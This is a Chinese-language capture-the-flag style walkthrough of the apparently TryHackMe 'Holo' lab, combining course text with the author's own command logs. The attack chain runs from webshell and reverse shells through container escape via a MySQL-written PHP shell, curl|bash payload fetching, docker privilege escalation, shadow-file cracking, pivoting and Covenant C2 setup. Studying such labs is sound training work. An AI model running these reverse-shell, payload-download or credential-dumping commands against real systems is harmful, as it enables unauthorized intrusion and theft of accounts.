要识别 RCE,您可以决定是否要模糊测试文件的参数或查看文件的源代码。您的方法也可能因您所处的场景以及您拥有的资源或立足点而异。

一旦您在系统上拥有 RCE,您就可以使用反向 shell(例如 netcat)来获取该机器上的 shell。请参阅以下备忘单以获取有关反向 shell 的帮助。

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

在admin后台使用得到的凭证登陆成功,dashboard.php存在后门,参数是cmd,并且可以执行命令,身份是www-data

Meterpreter session 1 closed. Reason: RUH ROH

现在我们在盒子上有一个 shell,我们想要稳定我们的 shell。在大多数情况下,通过使用其他实用程序(如 python)的帮助,稳定 shell 很简单;但是,某些步骤可能需要更长时间或根据您使用的 shell 而变化。以下说明适用于 bash 和 ZSH;对于任何其他 shell 或操作系统,您需要研究如何在其环境中稳定 shell。

整个房间中的说明都受到这篇精彩的博客文章 https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ 的启发。所展示技术的所有功劳都归功于 ropnop。

有几种方法可以稳定 shell;我们将重点介绍使用 python 创建伪终端和修改 stty 选项。所有目标机器的步骤都是相同的,但它们可能因攻击机器上使用的 shell 或操作系统而异。

首先,我们将使用 python 创建一个伪终端。命令如下。

Syntax: python -c 'import pty; pty.spawn("/bin/bash")'

一旦我们有了伪 shell,我们就可以暂停终端并修改 stty 选项来优化终端。对于 bash shell,请严格按照以下步骤操作。

  1. stty raw -echo

  2. fg

注意:如果您使用的是 ZSH,则必须将 stty raw -echo;fg 合并到一行,否则您的 shell 会崩溃

此时,您将恢复伪终端,但您可能会注意到,无论您输入什么都不会显示出来。下一步,您需要盲目输入。

  1. reset

  2. export SHELL=BASH

对于接下来的两个步骤,您将需要使用从步骤 1 获得的信息。

  1. export SHELL=BASH

  2. export TERM=<TERMINAL>

  3. stty rows <num> columns <cols>

做一个反弹shell,本地监听

┌──(mikannse㉿kali)-[~/桌面]
└─$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
nc 10.50.103.92 443 -e /bin/sh

反弹成功,方便起见使用meterpreter

┌──(mikannse㉿kali)-[~/桌面]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.50.103.92 LPORT=444 -f elf>shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes

使用python服务器上传上去,然后开启监听执行

Docker? I hardly even know her!

现在我们已经获得了 Web 服务器的 shell,我们需要进行一些态势感知来确定我们的位置。通过查看利用 LFI 时的一些文件,我们知道这可能是一个容器。我们可以进行进一步的枚举和信息收集,以确定这是否属实,以及可能允许我们逃离容器的任何错误配置。

根据 Docker 文档,“容器是软件的标准单元,它将代码及其所有依赖项打包在一起,因此应用程序可以在一个计算环境中快速可靠地运行到另一个计算环境中。Docker 容器映像是一个轻量级、独立、可执行的软件包,其中包含运行应用程序所需的一切:代码、运行时、系统工具、系统库和设置。”

img

容器具有网络功能和自己的文件存储。它们通过使用 Linux 内核的三个组件来实现这一点:

  • 命名空间
  • Cgroups
  • OverlayFS

但我们在这里只对命名空间感兴趣;毕竟,它们是核心。命名空间本质上将系统资源(如进程、文件和内存)与其他命名空间隔离开来。

在 Linux 上运行的每个进程都将被分配一个 PID 和一个命名空间。

命名空间是实现容器化的方式!进程只能“看到”位于同一命名空间中的进程 - 理论上没有冲突。以 Docker 为例;例如,每个新容器都将作为新命名空间运行,尽管容器可能正在运行多个应用程序(进而运行进程)。

让我们通过比较运行 Web 服务器的 Docker 容器中的进程数量与当时的主机操作系统来证明容器化的概念。

我们可以寻找已放入容器中的各种指标。由于容器的隔离特性,与虚拟机等相比,容器中运行的进程通常非常少。我们可以简单地使用“ps aux”来打印正在运行的进程。请注意,下面的屏幕截图中运行的进程非常少?

Command used: ps aux

img

容器允许使用 .dockerenv 文件从主机操作系统提供环境变量。此文件位于“/”目录中,即使未提供任何环境变量,它也会存在于容器中。

Command used: cd / && ls -lah

img

Cgroups 被 LXC 或 Docker 等容器化软件使用。让我们通过导航到 /proc/1 然后 catting “cgroup” 文件来查找它们… 值得一提的是,“cgroups”文件包含包含单词“docker”的路径。

img

也就是说我们现在处于一个容器当中

Living off the LANd

我们现在知道我们处于 docker 容器中。既然我们知道我们处于 docker 容器中,我们可以继续进行态势感知和枚举,以确定我们可以做什么以及可以采取哪些其他路径来继续攻击此服务器。态势感知的一个关键部分是识别网络和主机信息。这可以通过端口扫描和网络工具来完成。

在此任务中,我们将介绍如何在有限的环境中使用我们可以使用的东西来获取信息和环境意识。我们将展示您可以使用的 bash 和 python 端口扫描器,因为它们通常位于系统或容器内,以及可以使用的其他技巧,例如 Netcat 和静态编译的二进制文件。

我们将介绍的第一种方法是使用 bash。在 bash 中,我们可以使用 /dev/tcp/ipaddr/port;这将充当内置扫描器来收集有关容器端口的信息。此实用程序分解如下。

  • /dev/ 包含所有硬件设备,例如 NIC、HDD、SSD、RAM
  • 以太网/无线网卡的 /dev/tcp/ 伪设备在数据传入或传出时打开套接字。

有关此内容的更多信息,请查看 Linux 文档项目。https://tldp.org/LDP/abs/html/devref1.html

我们可以利用这一点通过将端口列表导入其中来扫描内部端口。下面是完整 bash 端口扫描器的示例。

#!/bin/bash
ports=(21 22 53 80 443 3306 8443 8080)
for port in "${ports[@]}"; do
timeout 1 bash -c "echo 'Port Scan Test' > /dev/tcp/1.1.1.1/$port && echo $port is open || true"
done

我们将介绍的第二种端口扫描方法是使用 Python。要使用 Python 扫描端口,我们需要使用“sockets”库来打开连接并启用网络连接。脚本本身很简单,只需打开连接到循环中的排序端口即可。下面是完整的 Python 端口扫描器的示例。

#!/usr/bin/python3
import socket

host = "1.1.1.1"
portList = [21, 22, 53, 80, 443, 3306, 8443, 8080]

for port in portList:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
print("Port ", port, " is open")
except:
print("Port ", port, " is closed")

执行所有工作的代码主线是 socket.AF_INET, socket.SOCK_STREAM,这将是打开与指定主机和端口的连接的前提。

我们将要研究的第三种方法是独一无二的,它使用 Netcat 连接到一系列端口。Netcat 是所有 Linux 机器上相当常见的实用程序,因此可以安全地假设我们将始终使用它。请参阅下面的示例语法。

语法:nc -zv 192.168.100.1 1-65535

除了这些现成的脚本外,我们还可以使用静态编译的二进制文件。静态编译的二进制文件类似于任何其他二进制文件,二进制文件中包含所有库和依赖项。这使得您可以在具有相同架构(x86、x64、ARM 等)的任何系统上运行二进制文件。您可以在几个地方下载这些二进制文件并自行编译它们。查看此 GitHub 以获取稳定二进制文件的列表。 https://github.com/andrew-d/static-binaries。

查看IP,现在拿下的这台主机是192.168.100.100,也就是L-SRV02,查看网关

www-data@ceeaf5fc48c1:/tmp$ route -n
route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.100.1 0.0.0.0 UG 0 0 0 eth0
192.168.100.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0

得知是192.168.100.1,使用nc探测端口

www-data@ceeaf5fc48c1:/tmp$ nc -zv 192.168.100.1 1-65535    
nc -zv 192.168.100.1 1-65535
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 33060 (?) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 8080 (http-alt) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 3306 (mysql) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 80 (http) open
ip-192-168-100-1.eu-west-1.compute.internal [192.168.100.1] 22 (ssh) open

Dorkus Storkus - Protector of the Database

继续进行态势感知,我们可以开始寻找任何有趣的配置文件或其他信息,我们可以在不主动利用盒子的情况下收集这些信息。我们还可以尝试窃取设备上的服务,例如 MySQL。

由于我们知道要攻击的服务器是 Web 服务器,我们可以假设它在后端运行一些 SQL 或数据库。通常,这些数据库可能对从外部访问它们的人是安全的,但在服务器上时,它们通常非常不安全,可以公开读取配置文件。

当我们进入运行 MySQL 的服务器时,我们可以通过读取“db_connect.php”文件开始我们的态势感知和信息窃取/泄露。Web 服务器需要此文件来连接 PHP 和 SQL。此文件通常无法从外部读取,但如果您可以访问不安全的内部服务器,则可以轻松读取它并从中获取信息。此文件通常存在于网页的根目录中,例如“/var/www”。下面是此配置文件的示例。

<?php
define('DB_SRV', '127.0.0.1');
define('DB_PASSWD', 'password');
define('DB_USER', 'username');
define('DB_NAME', 'database');
$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);
?>

如您所见,我们可以从此文件中获取很多重要信息:服务器地址、密码、用户名、数据库名称。这可以帮助我们访问和窃取数据库。了解范围以及您可以和不能泄露和窃取的信息至关重要。在泄露之前,您应该与目标进行清晰的沟通和计划。Hololive 允许您在此次活动中泄露“DashboardDB”数据库中的名称和密码。

要访问数据库,您需要使用所使用的数据库访问工具的二进制文件。数据库通常是 MySQL;但是,这可能会因服务器而异,并且位置也可能不同。要使用 MySQL,您只需使用 -u 指定用户名。您还需要指定 -p 参数;但是,它不带参数。

当使用 MySQL 直接访问数据库时,它会将您带入机器上托管的本地数据库。您还可以使用 MySQL 通过 -h 参数访问远程数据库。下面是使用示例。

Syntax: mysql -u <username> -p -h 127.0.0.1

如果成功,我们现在应该可以访问远程数据库。从这里,我们可以使用 SQL 语法来导航和利用数据库。我们将介绍一些基本的 SQL 命令,您可以使用这些命令来了解如何快速导航 SQL 数据库。有关更多信息,请查看 MySQL 文档。https://dev.mysql.com/doc/。

  • show databases; 提供可用数据库的列表。
  • use <database>; 导航到提供的数据库。
  • show tables; 提供数据库中可用表的列表。
  • show columns from <table>; 输出所提供表的列。
  • select * from <table>; 输出所提供表的所有内容。

在/var/www/admin目录下找到数据库连接文件

cat db_connect.php
<?php

define('DB_SRV', '192.168.100.1');
define('DB_PASSWD', "!123SecureAdminDashboard321!");
define('DB_USER', 'admin');
define('DB_NAME', 'DashboardDB');

$connection = mysqli_connect(DB_SRV, DB_USER, DB_PASSWD, DB_NAME);

if($connection == false){

die("Error: Connection to Database could not be made." . mysqli_connect_error());
}
?>

连接进去之后发现还存在一个叫做guran的用户

Making Thin Lizzy Proud

现在您已确定自己处于容器中,并已执行了所有信息收集和态势感知,您可以通过利用远程数据库逃离容器。

逃离容器的方法有多种,通常都是由于服务或访问控制对容器的错误配置而导致的。

有关容器最佳实践和 docker 安全的更多信息,请查看此 OWASP 备忘单,https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html。

一种不太常见的方法是利用漏洞。利用漏洞逃离容器并不常见,通常依赖于滥用主机上运行的进程。漏洞利用通常需要一定程度的用户交互,例如 CVE-2019-14271。使用容器枚举脚本(例如 DEEPCE,https://github.com/stealthcopter/deepce)也大有裨益。

由于我们获得了对远程数据库的访问权限,因此我们可以利用它来获得命令执行并从 MySQL 中逃逸容器。

漏洞利用 MySQL 的基本方法如下。

  • 使用管理员凭据访问远程数据库

  • 在主数据库中创建新表

  • 注入 PHP 代码以获得命令执行

示例代码:<?php $cmd=$_GET["cmd"];system($cmd);?>

  • 将表内容拖放到用户可以访问的文件中

  • 执行并获得主机上的 RCE。

上面的漏洞可能看起来很复杂,但我们可以进一步分解并提供更多上下文以使其更简单。

我们可以使用单个命令将我们的 PHP 代码注入表中,并将表保存到远程系统上的文件中。 我们正在从此命令将我们想要的任何代码写入远程系统,然后我们可以执行这些代码,从而获得代码执行。 在下面找到使用的命令。

使用的命令:select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';

现在我们有一个可以控制的文件被投放到系统上,我们可以 curl 地址并从投放的文件中获取 RCE。请参阅下面的示例用法。

Example usage: curl 127.0.0.1:8080/shell.php?cmd=whoami

通过写马到.1主机的web目录来进行容器逃逸到.1主机

在mysql中

select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
www-data@ceeaf5fc48c1:/tmp$ curl http://192.168.100.1:8080/shell.php?cmd=whoami
<curl http://192.168.100.1:8080/shell.php?cmd=whoami
www-data

执行成功

Going%20out%20with%20a%20SHEBANG%21

现在您已经逃离了容器并在主机上实现了 RCE,您需要创建一个反向 shell 并获得一种方法来获得稳定的 shell。

获得 RCE 后,有几种方法可以在机器上获得反向 shell。下面概述了几种最常用的方法。

  • netcat
  • bash
  • python
  • perl

有关各种有效载荷和反向 shell 的更多信息,您可以查看这两个资源。https://github.com/swisskyrepo/PayloadsAllTheThings。http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet。

在此任务中,我们将介绍如何使用基本的 bash 反向 shell 以及 URL 编码将脚本直接放入 bash。利用 URL 编码,我们可以在执行有效载荷时减轻很多麻烦,因为特殊字符(例如“&、’、!、;、?”)通常会导致严重问题。

首先,我们将通过将下面的代码放入“.sh”文件中来创建一个简单的有效负载。

#!/bin/bash
bash -i >& /dev/tcp/tun0ip/53 0>&1

第一行将声明我们正在使用 bash 脚本语言。第二行是有效载荷本身。有关此有效载荷的更多信息,请查看此解释 shell,https://explainshell.com/explain?cmd=bash+-i+%3E%26+%2Fdev%2Ftcp%2F127.0.0.1%2F53+0%3E%261。

现在您已准备好有效载荷,您可以使用 http.serverupdogphp 在攻击机器上启动本地 Web 服务器。您可以在下面找到这三个的示例用法。

  • python3 -m http.server 80
  • updog
  • php -S 0.0.0.0:80

一旦服务器开始托管文件,我们就可以编译命令来执行该文件。找到下面的命令。

未编码的命令:curl http://10.x.x.x:80/shellscript.sh|bash &

正如我们已经提到的,特殊字符可能会导致 URL 中出现问题。为了解决这个问题,我们可以对任何特殊字符进行 URL 编码。找到下面的编码命令。

编码的命令:curl%20http%3A%2F%2F10.x.x.x%3A80%2Fshellscript.sh%7Cbash%20%26

上述命令已完全准备就绪。您只需要在命令中更改 IP 地址和文件名;这不需要您更改任何现有的 URL 编码。

您现在可以使用 Netcat 或 Metasploit 启动侦听器,以便在执行后捕获您的反向 shell。找到下面的命令来启动侦听器。

  • nc -lvnp 53
  • use exploit/multi/handler

现在您已经准备好了完整的有效载荷和执行命令,您可以使用它和 RCE 来获取该盒子的 shell。完整命令如下。

Command used:

curl 'http://192.168.100.1:8080/shell.php?cmd=curl%20http%3A%2F%2F10.x.x.x%3A80%2Fshellscript.sh%7Cbash%20%26'

接下来要做的是拿到.1主机的shell

现在本地创建一个shellscript.sh,内容如下

#!/bin/bash
bash -i >& /dev/tcp/10.50.103.92/443 0>&1

然后开启python web服务器

www-data@ceeaf5fc48c1:/tmp$ curl http://192.168.100.1:8080/shell.php?cmd=curl%20http%3A%2F%2F10.50.103.92%3A8000%2Fshellscript.sh%7Cbash%20%26

成功拿到shell,并再次转移到msf

Call me Mario, because I got all the bits

注意:请注意其他试图在网络中继续操作的用户。请不要停止 Docker 容器的运行。这将阻止用户在整个网络中继续操作。此外,请在操作后自行清理。如果您将 Docker 容器映像传输到 VM,请记住在完成提升权限后将其删除。

现在我们在 L-SRV01 上有一个 shell 并逃离了容器,我们需要执行本地权限提升以获得该盒子的 root 权限。

本地权限提升是指您利用普通级别的用户访问权限并利用错误配置和应用程序来获得特权级别的访问权限。这通常是通过利用设备上配置错误的特定应用程序或服务来完成的。

有几种资源可以帮助您在 Linux 上完成权限提升。下面列出了其中一些资源供您使用。

在此任务中,我们将介绍一种特定的权限提升技术和一个脚本,我们可以使用它来加快查找可以利用的错误配置的过程。

我们将使用一个名为 Linpeas 的脚本对潜在漏洞进行全面检查,以开始我们的权限提升尝试。https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite。

要使用 Linpeas,我们需要从攻击机器上的上述存储库下载脚本。然后,我们可以利用 http.server、updog 或 php 等 Web 托管服务将文件托管到目标机器上。 Linpeas 不需要任何参数或参数即可运行;您只需将其作为标准二进制文件运行即可。

语法:./linpeas.sh

Linpeas 可能需要大约 5-10 分钟才能完成。完成后,您需要解析输出并查找任何可能有价值的信息。

我们将要研究的具体漏洞是滥用二进制文件上设置的 SUID 位。来自 linux.com“SUID(执行时设置所有者用户 ID)是授予文件的一种特殊文件权限。通常在 Linux/Unix 中,当程序运行时,它会从登录用户那里继承访问权限。SUID 定义为向用户授予临时权限,以文件所有者的权限而不是运行它的用户的权限运行程序/文件。”这意味着,如果程序或文件以 root 身份运行并且我们有权访问它,我们可以滥用它来授予我们 root 级访问权限。下面您可以看到 SUID 位的样子,以及可以设置的其他位的表。

img

权限 关于文件 关于目录
SUID 位 用户使用 文件 所有者的权限执行文件 -
SGID 位 用户使用 所有者的权限执行文件。 在目录中创建的文件具有相同的组所有者。
粘性位 无意义 阻止用户删除其他用户的文件。

除了使用 Linpeas 查找具有 SUID 位的文件外,您还可以使用下面显示的 bash 单行命令来搜索设置了此位的文件。

命令:find / -perm -u=s -type f 2>/dev/null

一旦我们确定了我们认为可能被利用的文件,我们就需要搜索它的漏洞。 GTFOBins 是一个有用的资源,可用于搜索特定应用程序和程序上的漏洞,网址为 https://gtfobins.github.io/。

下面可以找到 dig SUID 的漏洞示例。每个应用程序和漏洞的漏洞可能有所不同,因为每个应用程序和漏洞都有其独特的滥用方式,安全研究人员发现它们可能被滥用。

img

如果成功,您现在应该具有与您利用的二进制文件相同的权限级别。

需要进行一个提权

find / -perm -u=s -type f 2>/dev/null

可以使用docker命令,docker images查看发现有一个ubuntu:18.04

www-data@ip-10-200-107-33:/tmp$ /usr/bin/docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt sh

From the Shadows

现在我们已经在网络上站稳了脚跟,并拥有了稳定的 shell,我们可以考虑设置持久性,这样我们就不会失去立足点,也不会在机器重置或 shell 终止时再次获得立足点。持久性有很多方法,下面列出了几个示例。

  • LD_PRELOAD
  • 后门二进制文件
  • PAM 后门
  • SSH 密钥
  • 恶意服务
  • Cronjob
  • 凭证收集

在这个房间里,我们将专注于从影子文件中收集凭证,以及如何破解离线密码以获得长期帐户访问权限。

有关持久性技术的更多信息,请查看 MITRE ATT&CK TA0003


在开始我们的持久性冒险之前,我们将专注于在 Linux 服务器上转储影子文件。影子文件位于 /etc/shadow 中,包含加密密码和相关信息,包括用户名、密码更改日期、到期时间等。我们可以使用此文件以攻击者的身份检索哈希值,然后尝试使用离线哈希破解工具(如 Hashcat 或 JohntheRipper)破解哈希值。

由于影子文件是 Linux 内核中用于验证帐户的标准,因此您可以期望在遇到的每台 *nix 机器上使用它。

转储影子文件很简单;一旦您拥有 root 权限,您就需要读取文件,然后机器将输出影子文件中的信息。在下面找到示例命令。

使用的命令:cat /etc/shadow

img

现在,我们已经获得了系统存储的所有账户哈希值。现在,我们可以将它们离线,并在下一个任务中尝试破解它们。

Crack all the Things

红队行动中一个相当重要的部分是哈希破解。我们可以使用 hashcat 或 johntheripper 通过将提供的哈希与提供的单词列表(例如 rockyou.txt)进行比较来破解提供的哈希。在此任务中,我们将使用 google colab 的强大功能为我们破解哈希。

来自 google colaboratory,“Colaboratory,或简称“Colab”,允许您在浏览器中编写和执行 Python”这意味着我们可以利用它和预构建的工作区在谷歌的云基础架构上安装和运行 hashcat,并使用高端 GPU 破解我们的哈希。

要开始使用 colabcat,我们需要确定要针对哈希使用的 Hashcat 模式。影子文件使用通用 Linux 哈希“$6$”;这是一个 sha512crypt,我们可以将其识别为模式 1800。有关 hashcat 类型的更多信息,请查看 hashcat 示例页面,https://hashcat.net/wiki/doku.php?id=example_hashes。

现在我们可以使用 colabcat repo,https://github.com/someshkar/colabcat,启动一个预先准备好 hashcat 设置的 colab 实例。

注意:要使用 colabcat,您首先需要一个 google 帐户。

要开始准备实例,您需要按照提示执行每个框中的预设命令。下面是运行预设命令的示例。

img

继续按照提示授权您的 Google 帐户连接到 colab 实例。下面的框是我们可以更改命令来破解哈希的步骤。

img

要开始破解哈希,请将影子哈希放在 /root/.hashcat/hashes/shadow.hash 内。然后,您可以指定要用于破解哈希的单词表;我们建议使用 rockyou.txt 开始。

将shadow转存到本地,使用hashcat

┌──(mikannse㉿kali)-[~/桌面]
└─$ hashcat -a 0 -m 1800 shadow dic.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 7 5800H with Radeon Graphics, 1801/3667 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: dic.txt
* Passwords.: 174
* Bytes.....: 1763
* Keyspace..: 174
* Runtime...: 0 secs

$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:linuxrulez

得到是:linux_admin用户密码为linuxrulez

也可以用添加自己公钥的方式来做root身份持续性

Digging a tunnel to nowhere

现在您已获得 L-SRV01 的 root 访问权限,您需要确定下一步要去哪里。您知道范围内没有其他外部机器,因此您决定进入内部网络。要访问内部子网,您需要执行所谓的“枢转”。

在维护良好的网络中,通常称为“分段网络”,有特定的规则阻止用户访问内部 LAN 的某些部分(例如,工作站子网不应能够访问服务器子网)。我们需要使用 SOCKs 服务器或其他方式(如端口转发)从已受感染的服务器“枢转”以访问不同的网络资源。

下面概述了几种可以帮助我们进行枢转的工具。

  • sshuttle
  • Chisel
  • Ligolo
  • Metasploit autoroute

在此任务中,我们将重点关注 Chisel 和 sshuttle,它们都提供了独特的枢转方法。

我们将要研究的第一个工具是 Chisel。根据 Chisel GitHub 的描述,“Chisel 是一个快速的 TCP/UDP 隧道,通过 HTTP 传输,通过 SSH 保护。单一可执行文件,包括客户端和服务器。用 Go(Golang)编写。Chisel 主要用于穿越防火墙,但它也可用于为您的网络提供安全的端点。”

根据 Chisel GitHub 的描述,下面是 chisel 架构的概述。

要开始使用 Chisel,我们必须首先下载该工具。如果您使用稳定版本或 docker,则无需下载任何依赖项。如果您从源代码编译,则需要安装其 GitHub 上列出的一些依赖项。有三种常见的获取该工具的方法,概述如下。

要在 Windows 机器上设置 Chisel 服务器,您需要获取 Windows 二进制文件,反之亦然。

要使用 Chisel 创建 SOCKs 服务器,您只需要在目标和攻击机器上运行两个命令,如下所示。

在攻击机器上:./chisel server -p 8000 --reverse

在目标机器上:./chisel client <SERVER IP>:8000 R:socks

现在我们已经设置了 SOCKs 服务器,我们需要解释和管理这些连接。这就是 proxychains 的作用所在。Proxychains 允许我们连接到 SOCKs 服务器并通过命令行中的代理路由流量。要将 SOCKs 服务器添加到 proxychains,您需要编辑 /etc/proxychains.conf。您可以在下面看到示例配置。

img

您需要在配置文件中添加以下行:socks5 127.0.0.1 1080

要使用代理,您需要在要通过代理路由的任何命令前面加上代理链。示例用法如下。

示例用法:proxychains curl http://<IP>

我们将要研究的第二个工具是 sshuttle。Sshuttle 在枢转方法上是独一无二的,因为它的所有技术都是从攻击机器远程完成的,不需要配置代理链。但是,sshuttle 的一些缺点是,它只有在机器上运行 ssh 服务器时才会起作用,并且在 Windows 主机上不起作用。您可以从 GitHub 下载 sshuttle,https://github.com/sshuttle/sshuttle

使用 sshuttle 相对容易,只需要一个命令。要使 sshuttle 正常工作,您只需指定一个参数 -r 。使用此参数,您将像为标准 ssh 连接一样指定用户和目标。您还需要指定网络的 CIDR 范围;这不需要参数。下面是语法示例。

语法:sshuttle -r USER@MACHINE_IP 0.0.0.0/0

有关 sshuttle 及其使用方法的更多信息,请查看文档 https://sshuttle.readthedocs.io/en/stable/overview.html。

Command your Foes and Control your Friends

通过扫描内部网络,我们知道网络的其余部分是 Windows 主机。在交战中,红队通常会利用 C2 服务器作为行动基地,以帮助操作有效载荷并使用模块维护访问。在继续攻击网络的其余部分之前,我们将设置我们的 C2 服务器并熟悉其操作。

我们可以使用命令和控制服务器来组织用户并在受感染的设备上部署模块或任务。您可以使用带有 C2 服务器的 stager 和监听器来帮助红队完成交战,而不是使用反向 shell 和有效载荷。在整个演练过程中,我们将使用由 Cobbr 和 SpectreOps 团队开发的 Covenant。如果您更喜欢使用其他 C2 框架(如 Empire 或 Cobalt Strike),您可以使用它们;但是,模块和 stager 可能与所示不同。

来自 Covenant GitHub,“Covenant 是一个 .NET 命令和控制框架,旨在突出 .NET 的攻击面,使攻击性 .NET 间谍技术的使用更加容易,并作为红队成员的协作命令和控制平台。”

有关 Covenant 的更多信息,请查看 Covenant GitHub wiki,https://github.com/cobbr/Covenant/wiki

Covenant 安装相对简单,但有一些怪癖和可能需要故障排除的地方。安装需要两个单独的中央安装:.NET Core SDK 和下载 Covenant 本身。

要开始设置 Covenant,我们将从安装 .NET Core SDK 开始。Covenant 需要 .NET Core SDK 3.1.0。您可以从 .NET 下载页面下载 SDK,也可以添加 .NET 存储库并通过 apt 下载。

有关通过下载页面下载的更多信息,请查看此链接:https://dotnet.microsoft.com/download/dotnet/3.1。

有关通过存储库下载的更多信息,请查看此链接:https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu

按照任一方法安装 .NET Core SDK 3.1.0。这将是我们用来构建和运行 Covenant 的实用程序。

安装 SDK 后,您可以从 GitHub 克隆 Covenant 存储库。请参阅下面的示例。

使用的命令:git clone --recurse-submodules https://github.com/cobbr/Covenant

由于 Covenant 完全用 .NET Core 编写,因此在使用 SDK 构建时已经处理了所有依赖项。

现在 SDK 和 Covenant 都已安装,我们可以首次启动 Covenant。 Covenant 将在本地主机端口 7443 上启动。示例语法如下。

使用的命令:sudo ./dotnet run --project /opt/Covenant/Covenant

导航到 127.0.0.1:7443 后,您将看到用户创建屏幕。创建用户并登录 Covenant。以下是登录页面的示例。

img

如果成功登录,您将看到如下所示的仪表板。

img

这里我直接选用docker来本地搭建covenant,方便很多

$ git clone --recurse-submodules https://github.com/cobbr/Covenant -b dev 
$ cd Covenant/Covenant
$ sudo docker build -t covenant .

sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/kali/Documents/tools/Covenant/Covenant/Data:/app/Data covenant

然后访问https://127.0.0.1:7443

Bug on the Wire

现在我们已经设置并登录了 Covenant,我们可以开始介绍使用 Covenant 操作和创建监听器的基础知识。当您稍后进入 Windows 系统并快速部署 grunt 时,这将很有帮助。

使用 Covenant 操作时,主要有四个阶段:创建监听器、生成 stager、部署 grunt、利用 grunt。所有操作阶段都可以使用其他工具完成,例如 MSFVenom、Netcat、Metasploit 等。但是,Covenant 为您提供了一种在一个平台下操作它们的方法,从而可以更轻松地进行管理和协作操作。

Covenant 是一个广泛而多样的命令和控制框架,具有许多不同的功能。我们将仅介绍使用 Covenant 操作的基础知识。有关更多信息,请查看 SpecterOps 博客 https://posts.specterops.io/ 以及 Ryan Cobb 和 Justin Bui 在 SoCon 上关于“使用 Covenant 操作”的演讲 https://www.youtube.com/watch?v=oN_0pPI6TYU。

使用 Covenant 的第一步是创建一个监听器。监听器是基于配置文件构建的;您可以将配置文件视为 HTTP 请求/页面,它们将充当处理所有 C2 流量的通道。Covenant 附带四个默认配置文件,概述如下。

  • CustomHttpProfile 不需要任何 cookie 的自定义配置文件。
  • DefaultBridgeProfile C2 桥的默认配置文件。
  • DefaultHttpProfile 默认 HTTP 配置文件。
  • TCPBridgeProfile C2 桥的默认 TCP 配置文件。

Covenant 提供了一种编辑监听器的简便方法以及 GUI。有许多参数;我们将仅简要介绍下面列出的每个参数。

  • Name 在整个界面中使用的配置文件的名称。
  • Description 配置文件及其用例的描述。
  • MessageTransform 指定在将数据放入其他参数之前如何转换数据。
  • HttpUrls grunt 可以回调的 URL 列表。
  • HttpRequestHeaders 将随每个 HTTP 请求发送的标头对(名称/值)列表。
  • HttpResponseHeaders 将随每个 HTTP 响应发送的标头对(名称/值)列表。
  • HttpPostRequest grunt 将数据发回配置文件时的数据格式。
  • HttpGetResponse grunt 将数据 GET 到侦听器时的 HTTP 响应。
  • HttpPostResponse grunt 将数据 POST 到侦听器时的 HTTP 响应。

我们将在任务 26 中进一步深入编辑和创建配置文件。

一旦您决定要使用哪个配置文件,我们就可以开始创建侦听器。我们建议首先使用 DefaultHttpProfile,但我们将在后续任务中处理 AV 规避时更改它。

要创建侦听器,请从侧面菜单导航到 Listeners 选项卡,然后选择 Create Listener

您将看到几个要编辑的选项;每个选项都概述如下。

  • Name(可选)将有助于识别不同的侦听器。
  • BindAddress 侦听器将绑定的本地地址,通常为 0.0.0.0
  • BindPort 侦听器将绑定的本地端口。
  • ConnectPort 回调到的端口,建议设置为 8080808888
  • ConnectAddresses 侦听器回调到的地址,URL 的主机名部分。
  • URLs 回调 URL,grunt 将直接连接回该 URL。
  • UseSSL 确定侦听器是否使用 HTTPHTTPS
  • SSLCertificate 如果 SSL 设置为 true,则侦听器使用的证书。
  • SSLCertificatePassword SSLCertificate 使用的密码。
  • HttpProfile 侦听器和 grunt 用于确定通信行为的配置文件。

要为该网络创建基本侦听器,我们仅建议编辑 NameConnectPortConnectAddresses

创建后,侦听器应出现在“侦听器”选项卡中。您现在可以根据需要启动和停止侦听器。

img

The Blood Oath

现在我们在 Covenant 中有一个监听器,我们可以创建一个启动器来部署 grunt。同样,当您进入 Windows 机器并需要快速部署 grunt 时,这将很有用。

